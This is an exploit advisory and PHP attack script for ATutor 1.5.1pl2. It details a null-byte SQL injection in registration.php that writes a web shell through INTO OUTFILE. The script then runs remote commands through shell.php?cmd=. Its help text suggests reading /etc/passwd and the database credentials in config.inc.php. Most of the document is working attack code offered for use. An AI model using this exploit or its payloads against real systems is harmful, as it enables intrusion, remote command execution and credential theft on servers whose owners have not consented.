ATutor 1.5.1pl2 SQL Injection / Remote commands execution software: site: http://www.atutor.ca/ description : "ATutor is an Open Source Web-based Learning Content Management System (LCMS) designed with accessibility and adaptability in mind." if magic_quotes_gpc off -> SQL INJECTION vulnerable code in registration.php at lines 26-34: ... if ($_POST['email'] == '') { $msg->addError('EMAIL_MISSING'); } else if (!eregi("^[a-z0-9\._-]+@+[a-z0-9\._-]+\.+[a-z]{2,6}$", $_POST['email'])) { $msg->addError('EMAIL_INVALID'); } $result = mysql_query("SELECT * FROM ".TABLE_PREFIX."members WHERE email LIKE '$_POST[email]'",$db); if (mysql_num_rows($result) != 0) { $msg->addError('EMAIL_EXISTS'); } ... you can bypass regex check and inject SQL statements appending a null char (%00) to a valid email address, ex: FAKE@FAKEMAIL.FKE[null char]'UNION SELECT 0,0,0,0,'',0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 INTO OUTFILE "../../www/shell.php" FROM at_members/* now in shell.php we have: then you can launch commands: http://[target]/[path]/shell.php?cmd=cat%20./include/config.inc.php (look inside html for database username & password...) this is my proof of concept exploit: ATutor 1.5.1pl2 SQL Injection/remote cmmnds xctn

ATutor 1.5.1pl2 (possibly prior versions) remote commands xcution

a script by rgod at http://rgod.altervista.org

hostname (ex: www.sitename.com)

path ( ex: /atutor/ or just /)

path to WWW ftom Mysql directory, need this for "...INTO OUTFILE ..." statement (default: ../../www)

specify a port other than 80 (default value)

a Unix command , example: ls -la to list directories, cat /etc/passwd to show passwd file, cat ./include/config.inc.php to see database username and password

send exploit through an HTTP proxy (ip:port)

'; function show($headeri) { $ii=0; $ji=0; $ki=0; $ci=0; echo ''; while ($ii <= strlen($headeri)-1) { $datai=dechex(ord($headeri[$ii])); if ($ji==16) { $ji=0; $ci++; echo ""; for ($li=0; $li<=15; $li++) { echo ""; } $ki=$ki+16; echo ""; } if (strlen($datai)==1) {echo "";} else {echo " ";} $ii++; $ji++; } for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) { echo ""; } for ($li=$ci*16; $li<=strlen($headeri); $li++) { echo ""; } echo "
  ".$headeri[$li+$ki]."
0".$datai."".$datai."  ".$headeri[$li]."
"; } $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; function sendpacket() //if you have sockets module loaded, 2x speed! if not,load //next function to send packets { global $proxy, $host, $port, $packet, $html, $proxy_regex; $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); if ($socket < 0) { echo "socket_create() failed: reason: " . socket_strerror($socket) . "
"; } else { $c = preg_match($proxy_regex,$proxy); if (!$c) {echo 'Not a valid prozy...'; die; } echo "OK.
"; echo "Attempting to connect to ".$host." on port ".$port."...
"; if ($proxy=='') { $result = socket_connect($socket, $host, $port); } else { $parts =explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...
'; $result = socket_connect($socket, $parts[0],$parts[1]); } if ($result < 0) { echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "

"; } else { echo "OK.

"; $html= ''; socket_write($socket, $packet, strlen($packet)); echo "Reading response:
"; while ($out= socket_read($socket, 2048)) {$html.=$out;} echo nl2br(htmlentities($html)); echo "Closing socket..."; socket_close($socket); } } } function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') {$ock=fsockopen(gethostbyname($host),$port);} else { $c = preg_match($proxy_regex,$proxy); if (!$c) {echo 'Not a valid prozy...'; die; } $parts=explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...
'; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...'; die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); echo nl2br(htmlentities($html)); } if (($host<>'') and ($path<>'') and ($command<>'')) { $port=intval(trim($port)); if ($port=='') {$port=80;} if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} if ($pathtoWWW=='') {$pathtoWWW="../../www";} #default, path for "INTO OUTFILE <[path][file]>, two dirs up from mysql data directory, change it for #different installations if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} $SQL="FAKE@FAKEMAIL.FKE".urlencode(chr(0x00)."'UNION SELECT 0,0,0,0,'',0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 INTO OUTFILE \"".$pathtoWWW.$path."shell.php\" FROM at_members/*"); $data="login=suntzu&password=jimijimi&password2=jimijimi&email=".$SQL."&lang=en&first_name=&last_name=&year=&month=&day=&gender=ns&address=&postal=&city=&province=&country=&phone=&website=http%3A%2F%2F&submit=+Submit+"; $packet="POST ".$p."registration.php HTTP/1.0\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Content-Type: application/x-www-form-urlencoded\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Connection: Close\r\n\r\n"; $packet.=$data; show($packet); sendpacketii($packet); $packet="GET ".$p."shell.php?cmd=".urlencode($command)." HTTP/1.0\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; show($packet); sendpacketii($packet); if (eregi("Hi Master",$html)) {echo "
Exploit Succeded...";} else {echo "
Exploit Failed...";} } else {echo 'Fill in requested fields, optionally specify a proxy';} ?> rgod site: http://altervista.org mail: retrogod at aliceposta it original advisory: http://rgod.altervista.org/atutor151pl2.html